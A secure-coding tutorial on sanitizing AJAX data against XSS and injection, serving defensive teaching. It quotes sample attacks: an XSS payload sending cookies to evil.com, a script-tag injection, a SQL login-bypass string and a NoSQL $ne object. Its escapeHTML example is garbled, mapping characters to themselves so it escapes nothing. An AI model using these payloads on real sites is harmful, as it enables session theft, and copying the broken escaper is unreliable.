AJAX - Data Sanitization in AJAX
1) Why Data Sanitization Matters in AJAX
-
AJAX applications send data to the server and receive data from the server.
-
If that data isn’t properly sanitized:
-
Malicious input can run as JavaScript → XSS attack.
-
Malicious input can break queries → SQL injection, NoSQL injection, etc.
-
Example of bad practice:
// If server echoes back unfiltered input
fetch("/api/comment", {
method: "POST",
body: "comment=<script>alert('Hacked')</script>"
});
If the server renders this directly into a page → attacker’s script executes.
2) Key Threats
a) Cross-Site Scripting (XSS)
-
Attackers inject
<script>
or malicious HTML. -
When inserted into DOM, it executes in the victim’s browser.
-
Example payload:
<img src="x" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)">
b) Injection Attacks
-
If AJAX input is directly used in queries:
-
SQL Injection:
"' OR '1'='1"
→ bypass login. -
NoSQL Injection:
{ "$ne": null }
→ manipulate MongoDB queries.
-
3) Best Practices for Data Sanitization
a) Sanitize Input Before Storing
-
On the server, validate and clean input.
-
Never trust client-side validation alone (attackers can bypass).
Example (Node.js with express-validator):
const { body } = require("express-validator");
app.post("/comment", [
body("text").trim().escape(), // removes harmful characters
], (req, res) => {
// Safe to use req.body.text
});
b) Escape Output Before Rendering
-
When inserting AJAX data into HTML, escape characters:
-
<
→<
-
>
→>
-
"
→"
-
'
→'
-
Example (safe DOM insertion):
function escapeHTML(str) {
return str.replace(/[&<>"']/g, c =>
({ "&": "&", "<": "<", ">": ">", '"': """, "'": "'" }[c])
);
}
fetch("/api/comments")
.then(res => res.json())
.then(comments => {
comments.forEach(c => {
document.body.innerHTML += `<p>${escapeHTML(c.text)}</p>`;
});
});
❌ Never use innerHTML
with untrusted data.
✅ Use textContent
or a sanitizer.
c) Use Parameterized Queries (Server Side)
-
Prevent SQL/NoSQL injection by binding values.
Example (SQL with Node.js):
db.query("INSERT INTO comments (text) VALUES (?)", [req.body.text]);
d) Content Security Policy (CSP)
-
Add a CSP header to reduce XSS impact.
-
Example:
Content-Security-Policy: default-src 'self'; script-src 'self';
This blocks execution of inline <script>
injections.
e) Libraries for Sanitization
-
DOMPurify → sanitizes HTML in JavaScript.
-
express-validator (Node.js).
-
ESAPI (Java).
4) AJAX-Specific Risks
-
Since AJAX responses are often dynamic JSON or HTML fragments, attackers target them.
-
Always sanitize both directions:
-
Input sanitization → when receiving from client.
-
Output encoding → when sending to client.
-
5) Summary
-
XSS: Injecting scripts into AJAX responses.
-
Injection: Manipulating queries with malicious input.
-
Defense-in-Depth:
-
Validate & sanitize input server-side.
-
Escape/encode output before inserting into DOM.
-
Use parameterized queries for DB.
-
Apply CSP headers.
-
Use trusted sanitization libraries.
-